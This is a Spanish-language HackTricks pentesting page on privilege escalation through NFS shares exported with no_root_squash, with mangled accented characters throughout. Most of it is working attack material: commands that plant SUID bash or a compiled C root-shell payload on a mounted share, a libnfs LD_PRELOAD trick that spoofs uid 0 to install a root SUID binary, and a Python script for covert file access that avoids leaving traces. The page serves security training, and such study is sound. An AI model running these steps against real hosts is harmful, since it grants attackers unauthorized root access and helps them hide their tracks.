tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Informaci贸n B谩sica sobre Squashing

NFS generalmente (especialmente en Linux) conf铆a en el uid y gid indicados por el cliente que se conecta para acceder a los archivos (si no se utiliza kerberos). Sin embargo, hay algunas configuraciones que se pueden establecer en el servidor para cambiar este comportamiento:

  • all_squash: Aplana todos los accesos mapeando a cada usuario y grupo a nobody (65534 sin signo / -2 con signo). Por lo tanto, todos son nobody y no se utilizan usuarios.
  • root_squash/no_all_squash: Este es el valor predeterminado en Linux y solo aplana el acceso con uid 0 (root). Por lo tanto, cualquier UID y GID son confiables, pero 0 se aplana a nobody (por lo que no es posible la suplantaci贸n de root).
  • no_root_squash: Esta configuraci贸n, si est谩 habilitada, ni siquiera aplana al usuario root. Esto significa que si montas un directorio con esta configuraci贸n, puedes acceder a 茅l como root.

En el archivo /etc/exports, si encuentras alg煤n directorio que est茅 configurado como no_root_squash, entonces puedes acceder a 茅l como cliente y escribir dentro de ese directorio como si fueras el root local de la m谩quina.

Para m谩s informaci贸n sobre NFS, consulta:

2049 - Pentesting NFS Service

Escalaci贸n de Privilegios

Explotaci贸n Remota

Opci贸n 1 usando bash:

  • Montando ese directorio en una m谩quina cliente, y como root copiando dentro de la carpeta montada el binario /bin/bash y d谩ndole derechos SUID, y ejecutando desde la m谩quina v铆ctima ese binario bash.
  • Ten en cuenta que para ser root dentro del recurso compartido NFS, no_root_squash debe estar configurado en el servidor.
  • Sin embargo, si no est谩 habilitado, podr铆as escalar a otro usuario copiando el binario al recurso compartido NFS y d谩ndole el permiso SUID como el usuario al que deseas escalar.
bash
#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash

#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell

Opci贸n 2 usando c贸digo compilado en C:

  • Montando ese directorio en una m谩quina cliente, y como root copiando dentro de la carpeta montada nuestra carga 煤til compilada que abusar谩 del permiso SUID, d谩ndole derechos de SUID, y ejecutando desde la m谩quina v铆ctima ese binario (puedes encontrar aqu铆 algunos C SUID payloads).
  • Las mismas restricciones que antes.
bash
#Attacker, as root user
gcc payload.c -o payload
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /tmp/payload .
chmod +s payload

#Victim
cd <SHAREDD_FOLDER>
./payload #ROOT shell

Local Exploit

note

Tenga en cuenta que si puede crear un t煤nel desde su m谩quina a la m谩quina v铆ctima, a煤n puede usar la versi贸n remota para explotar esta escalada de privilegios tunelizando los puertos requeridos.
El siguiente truco es en caso de que el archivo /etc/exports indique una IP. En este caso no podr谩 usar en ning煤n caso la explotaci贸n remota y necesitar谩 abusar de este truco.
Otro requisito necesario para que la explotaci贸n funcione es que la exportaci贸n dentro de /etc/export debe estar usando la bandera insecure.
--No estoy seguro de que si /etc/export est谩 indicando una direcci贸n IP, este truco funcionar谩--

Basic Information

El escenario implica explotar un recurso compartido NFS montado en una m谩quina local, aprovechando un defecto en la especificaci贸n de NFSv3 que permite al cliente especificar su uid/gid, lo que potencialmente habilita el acceso no autorizado. La explotaci贸n implica usar libnfs, una biblioteca que permite la falsificaci贸n de llamadas RPC de NFS.

Compiling the Library

Los pasos de compilaci贸n de la biblioteca pueden requerir ajustes seg煤n la versi贸n del kernel. En este caso espec铆fico, las llamadas al sistema fallocate fueron comentadas. El proceso de compilaci贸n implica los siguientes comandos:

bash
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/

Realizando el Explotaci贸n

La explotaci贸n implica crear un programa C simple (pwn.c) que eleva privilegios a root y luego ejecuta un shell. El programa se compila y el binario resultante (a.out) se coloca en el recurso compartido con suid root, utilizando ld_nfs.so para falsificar el uid en las llamadas RPC:

  1. Compilar el c贸digo de explotaci贸n:
bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
  1. Coloca el exploit en el recurso compartido y modifica sus permisos falsificando el uid:
bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
  1. Ejecutar el exploit para obtener privilegios de root:
bash
/mnt/share/a.out
#root

Bonus: NFShell para Acceso a Archivos Sigiloso

Una vez que se obtiene acceso root, para interactuar con el recurso compartido de NFS sin cambiar la propiedad (para evitar dejar rastros), se utiliza un script de Python (nfsh.py). Este script ajusta el uid para que coincida con el del archivo que se est谩 accediendo, lo que permite interactuar con archivos en el recurso compartido sin problemas de permisos:

python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
import sys
import os

def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid

filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))

Ejecutar como:

bash
# ll ./mount/
drwxr-x---  6 1008 1009 1024 Apr  5  2017 9.3_old

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks